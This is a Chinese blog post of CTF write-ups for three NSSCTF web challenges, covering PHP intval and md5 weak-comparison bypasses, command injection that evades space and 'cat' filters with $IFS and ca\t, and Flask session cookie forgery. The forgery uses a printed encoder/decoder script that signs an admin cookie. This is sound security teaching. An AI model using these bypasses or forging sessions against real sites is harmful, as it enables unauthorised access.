• NSSCTF中的[WUSTCTF 2020]朴实无华、[FSCTF 2023]源码!启动! 、[LitCTF 2023]Flag点击就送! 以及相关知识点


    目录

    [WUSTCTF 2020]朴实无华

    [FSCTF 2023]源码!启动! 

    [LitCTF 2023]Flag点击就送! 

    相关知识点

    1.intval 绕过

    绕过的方式:

    2.session伪造攻击


    [WUSTCTF 2020]朴实无华

    1.进入页面几乎没什么可用的信息,所以想到使用disearch扫描,发现robots.txt文件,这里也可以通过源代码中联想到robots文件

     2.访问robots文件,发现一个php文件,访问该php文件得到一个假的flag

    3.再根据扫描的文件,发现有一个fl4g.php文件,访问该文件,得到一长串php代码

    4.接下来就是进行代码审计,首先是第一关卡

    1. if (isset($_GET['num'])){
    2. $num = $_GET['num'];
    3. if(intval($num) < 2020 && intval($num + 1) > 2021){
    4. echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
      "
      ;
    5. }else{
    6. die("金钱解决不了穷人的本质问题");
    7. }
    8. }else{
    9. die("去非洲吧");
    10. }

    这串代码主要的作用是使用了intval()函数,该函数用于获取变量的整数值。它尝试从给定的变量中获取整数。接下来的if条件是一个逻辑与(&&)操作,它检查两个条件是否都为真 

    注意:intval()这个函数是强制转换为int类型。 

    举个例子:

    1. echo '3e5' ;
    2. ?>
    3. //结果为3e5
    4. echo '3e5' + 1;
    5. ?>
    6. //结果为300001

    这是因为在第一个 echo 语句中,'3e5' 被视为字符串,因此会直接输出其内容 '3e5'。而在第二个语句中,虽然 '3e5' 被当作字符串,但由于与数字相加,PHP 尝试将其转换为数字。在这种情况下,它将 '3e3' 解释为科学记数法表示 3 乘以 10 的 5次方,即 300000,然后再加上 1,所以结果为 300001。

    5.使用如上方法,绕过第一关 

    6.接下来就是第二关

    1. //level 2
    2. if (isset($_GET['md5'])){
    3. $md5=$_GET['md5'];
    4. if ($md5==md5($md5))
    5. echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
      "
      ;
    6. else
    7. die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
    8. }else{
    9. die("去非洲吧");
    10. }
    11. //这串代码主要涉及到了弱比较

     补充:==弱类型比较中,字符'0e123'和字符'0e456'虽然是字符类型,但是因为==比较不比较数据类型,只比较值,而值就是科学计数法的表示格式,结果都是0,所以相等,返回true ===强类型比较中,字符'0e123'和字符'0e456'在比较数据类型的时候就被当作字符类型,而字符'0e123'和字符'0e456'当然不相等,所以返回false

    7.接下来就是第三关,这串代码的关键就是过滤空格和cat,用其他的替换即可

    代替cat: more、less、head、tail、sort、ca\t

    代替空格:$IFS、${IFS}、$IFS$1、$IFS$9

    1. //get flag
    2. if (isset($_GET['get_flag'])){
    3. $get_flag = $_GET['get_flag'];
    4. if(!strstr($get_flag," ")) //strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
    5. {
    6. $get_flag = str_ireplace("cat", "wctf2020", $get_flag);//str_replace() 函数替换字符串中的一些字符(区分大小写)。这里的意思是将get_flag字符串中的"cat"替换成"wctf2020"
    7. echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
      "
      ;
    8. system($get_flag);
    9. }else{
    10. die("快到非洲了");
    11. }
    12. }else{
    13. die("去非洲吧");
    14. }

     资料参考:PHP strstr() 函数 | 菜鸟教程

    PHP str_replace() 函数 | 菜鸟教程

    8.按要求传参,先传个la看看,发现有回显

    9.绕过最后一个关卡,得到flag 

    [FSCTF 2023]源码!启动! 

    1.进入页面,想到查看源代码,发现禁用了右键,于是在更多工具中看源代码,得到flag

    [LitCTF 2023]Flag点击就送! 

    资料:【python】Flask之session使用_python flask session-CSDN博客

    1.根据提示很容易想到要抓包,进入页面,是如下的页面

    2.随便输入一个名字,出现以下页面

    3.点击拿flag,出现以下回显,只有管理员可以

    4.接下来使用抓包工具,发现cookie中有session的值,并根据题目可知这个题可能是session伪装漏洞

    5. 打开kali,输入以下命令进行加解密session的值

    这里要使用到python脚本,如果载虚拟机中操作,还涉及到将脚本保存在虚拟机的文件中

    1. #!/usr/bin/env python3
    2. """ Flask Session Cookie Decoder/Encoder """
    3. __author__ = 'Wilson Sumanang, Alexandre ZANNI'
    4. # standard imports
    5. import sys
    6. import zlib
    7. from itsdangerous import base64_decode
    8. import ast
    9. # Abstract Base Classes (PEP 3119)
    10. if sys.version_info[0] < 3: # < 3.0
    11. raise Exception('Must be using at least Python 3')
    12. elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    13. from abc import ABCMeta, abstractmethod
    14. else: # > 3.4
    15. from abc import ABC, abstractmethod
    16. # Lib for argument parsing
    17. import argparse
    18. # external Imports
    19. from flask.sessions import SecureCookieSessionInterface
    20. class MockApp(object):
    21. def __init__(self, secret_key):
    22. self.secret_key = secret_key
    23. if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    24. class FSCM(metaclass=ABCMeta):
    25. def encode(secret_key, session_cookie_structure):
    26. """ Encode a Flask session cookie """
    27. try:
    28. app = MockApp(secret_key)
    29. session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
    30. si = SecureCookieSessionInterface()
    31. s = si.get_signing_serializer(app)
    32. return s.dumps(session_cookie_structure)
    33. except Exception as e:
    34. return "[Encoding error] {}".format(e)
    35. raise e
    36. def decode(session_cookie_value, secret_key=None):
    37. """ Decode a Flask cookie """
    38. try:
    39. if(secret_key==None):
    40. compressed = False
    41. payload = session_cookie_value
    42. if payload.startswith('.'):
    43. compressed = True
    44. payload = payload[1:]
    45. data = payload.split(".")[0]
    46. data = base64_decode(data)
    47. if compressed:
    48. data = zlib.decompress(data)
    49. return data
    50. else:
    51. app = MockApp(secret_key)
    52. si = SecureCookieSessionInterface()
    53. s = si.get_signing_serializer(app)
    54. return s.loads(session_cookie_value)
    55. except Exception as e:
    56. return "[Decoding error] {}".format(e)
    57. raise e
    58. else: # > 3.4
    59. class FSCM(ABC):
    60. def encode(secret_key, session_cookie_structure):
    61. """ Encode a Flask session cookie """
    62. try:
    63. app = MockApp(secret_key)
    64. session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
    65. si = SecureCookieSessionInterface()
    66. s = si.get_signing_serializer(app)
    67. return s.dumps(session_cookie_structure)
    68. except Exception as e:
    69. return "[Encoding error] {}".format(e)
    70. raise e
    71. def decode(session_cookie_value, secret_key=None):
    72. """ Decode a Flask cookie """
    73. try:
    74. if(secret_key==None):
    75. compressed = False
    76. payload = session_cookie_value
    77. if payload.startswith('.'):
    78. compressed = True
    79. payload = payload[1:]
    80. data = payload.split(".")[0]
    81. data = base64_decode(data)
    82. if compressed:
    83. data = zlib.decompress(data)
    84. return data
    85. else:
    86. app = MockApp(secret_key)
    87. si = SecureCookieSessionInterface()
    88. s = si.get_signing_serializer(app)
    89. return s.loads(session_cookie_value)
    90. except Exception as e:
    91. return "[Decoding error] {}".format(e)
    92. raise e
    93. if __name__ == "__main__":
    94. # Args are only relevant for __main__ usage
    95. ## Description for help
    96. parser = argparse.ArgumentParser(
    97. description='Flask Session Cookie Decoder/Encoder',
    98. epilog="Author : Wilson Sumanang, Alexandre ZANNI")
    99. ## prepare sub commands
    100. subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
    101. ## create the parser for the encode command
    102. parser_encode = subparsers.add_parser('encode', help='encode')
    103. parser_encode.add_argument('-s', '--secret-key', metavar='',
    104. help='Secret key', required=True)
    105. parser_encode.add_argument('-t', '--cookie-structure', metavar='',
    106. help='Session cookie structure', required=True)
    107. ## create the parser for the decode command
    108. parser_decode = subparsers.add_parser('decode', help='decode')
    109. parser_decode.add_argument('-s', '--secret-key', metavar='',
    110. help='Secret key', required=False)
    111. parser_decode.add_argument('-c', '--cookie-value', metavar='',
    112. help='Session cookie value', required=True)
    113. ## get args
    114. args = parser.parse_args()
    115. ## find the option chosen
    116. if(args.subcommand == 'encode'):
    117. if(args.secret_key is not None and args.cookie_structure is not None):
    118. print(FSCM.encode(args.secret_key, args.cookie_structure))
    119. elif(args.subcommand == 'decode'):
    120. if(args.secret_key is not None and args.cookie_value is not None):
    121. print(FSCM.decode(args.cookie_value,args.secret_key))
    122. elif(args.cookie_value is not None):
    123. print(FSCM.decode(args.cookie_value))
    1. 解密:python session.py decode -s “secret_key” -c “需要解密的session值”
    2. 加密:python session.py encode -s “secret_key” -t “需要加密的session值”

     首先进行解密,发现是flask的session格式:

    flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。

    其次进行加密,又因为提示是必须是管理员,所以是name:admin

    将得到的session加密值传给页面的session,得到flag

     

    相关知识点

    1.intval 绕过

    intval() 函数可以获取变量的「整数值」。常用于强制类型转换

    进行加 1 时会先将$a的科学计数法解析然后再加 1 。也就是说我们传入 12e3 第一次intval会为12 ,+1后会取得12001,那么我们成功绕过了。

    绕过的方式:

    1.进制类型转换

     绕过思路:当某个数字被过滤时,可以使用它的 8进制/16进制来绕过。

    2.转换数组

    intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。

     【空数组】返回 0

    【非空数组】返回 1

    如果传入的 $var是数组中的某个值时,则当做变量来转换,而不是当做数组类型。

    1. $arr1 = array(8,6);
    2. var_dump(intval($arr1[0]));
    3. //输出int(8)

    绕过思路:对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。 

    3.转换小数

    intval() 转换小数类型时,只返回个位数,不遵循四舍五入的原则。

    绕过思路:当某个数字被过滤时,可以给它增加小数位来绕过。

    4.转换字符串

    intval() 转换字符串类型时,会判断字符串是否以数字开头

    • 如果以数字开头,就返回1个或多个连续的数字
    • 如果以字母开头,就返回0

    单双引号对转换结果没有影响,并且 0 或 0x 开头也只会当做普通字符串

     5.取反

    intval() 函数支持一些特殊符号的,比如~取反。

    绕过思路:当某个数字被过滤时,可以两次取反来绕过。

    6.算数运算符

    intval() 函数支持算数运算符,如果传入的 $var参数包含算数运算符,会先运算,再对运算结果进行转换。

    绕过思路:当某个数字被过滤时,可以使用算数运算符绕过。 

    7.浮点数精度缺失问题

    由于PHP中的浮点数是【弱类型】,存在【精度丢失】的问题,在转换时可能会出现意料之外的情况。

    资料参考:WEB攻防基础|PHP|过滤函数intval()绕过原理及方法-CSDN博客

    PHP intval()函数详解,intval()函数漏洞原理及绕过思路_intval函数-CSDN博客

    2.session伪造攻击

    (1)session的作用:
    由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
    用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。

     (2)session伪造攻击是一种非常流行的针对session的攻击方式.它之所以流行的主要原因是:它是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法,使用这种方法,可以模仿当前用户的SESSION ID,伪装成这个用户,然后进一步进行SESSION劫持攻击

    (3)flask session的储存方式:

    第一种方式:直接存在客户端的cookies中

    第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库,flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。

    flask框架的session若存储在客户端,就需要解决session被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改。
    (4)flask的session格式:

    flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。

    (5)json的数据可以用花括号{}或中括号[]包裹,对应js中的object和array

    对象:使用花括号
    数组:使用方括号
    字符串类型:必须使用双引号
    整形、浮点型、布尔类型还有null类型
    多个数据之间使用逗号分开

    json本质上就是一个字符串

    来看一段json数据:

    {"name":"admin","age":18}

    资料:https://zhuanlan.zhihu.com/p/476520054 

    Session攻击-CSDN博客

  • 相关阅读:
    网站关键词-网站关键词设置方法-网站关键词排名优化软件
    软件方法(下)第8章Part14:不要因为偷懒或炫耀而定义组合
    ps2021神经ai滤镜无法使用,ps2021没法用神经元滤镜
    paddleocr的cpp_infer在Liunx下编译部署
    gitlab本地备份(自动定时备份)
    神经网络的主要内容特点,神经网络的种类和特点
    8个实用的Java Streams API
    Linux2-系统自有服务防火墙与计划任务
    CountDownLatch闭锁原理解析
    【服务器数据恢复】RAID5强制上线后又被格式化的数据恢复案例
  • 原文地址:https://blog.csdn.net/2401_82388450/article/details/139752822